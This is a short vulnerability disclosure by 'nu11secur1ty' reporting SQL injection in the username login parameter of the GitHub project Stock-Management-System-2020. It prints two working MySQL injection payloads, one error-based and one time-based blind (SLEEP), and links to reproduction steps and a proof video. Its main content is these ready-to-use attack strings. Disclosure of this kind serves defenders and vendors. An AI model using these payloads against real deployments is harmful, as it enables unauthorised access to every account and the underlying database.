Stock Management System 2020 SQL injection Vulnerability

## Title: Stock-Management-System-2020 SQLi 
## Author: nu11secur1ty
## Vendor: https://github.com/Dav-ee
## Software: https://github.com/Dav-ee/Stock-Management-System
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020

## Description:
The username parameter appears to be vulnerable to SQL injection attacks. 
The attacker kan take an access to all acounts on this system.
Status: CRITICAL

[+] Payloads:

```mysql
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=RCIdtbFU''' AND (SELECT 9919 FROM(SELECT COUNT(*),CONCAT(0x71787a6271,(SELECT (ELT(9919=9919,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'LcYi'='LcYi&password=g5X!p2l!Q6

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=RCIdtbFU''' AND (SELECT 6942 FROM (SELECT(SLEEP(5)))NOpI) AND 'uUsT'='uUsT&password=g5X!p2l!Q6
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020)

## Proof and Exploit:
[href](https://streamable.com/urkvz7)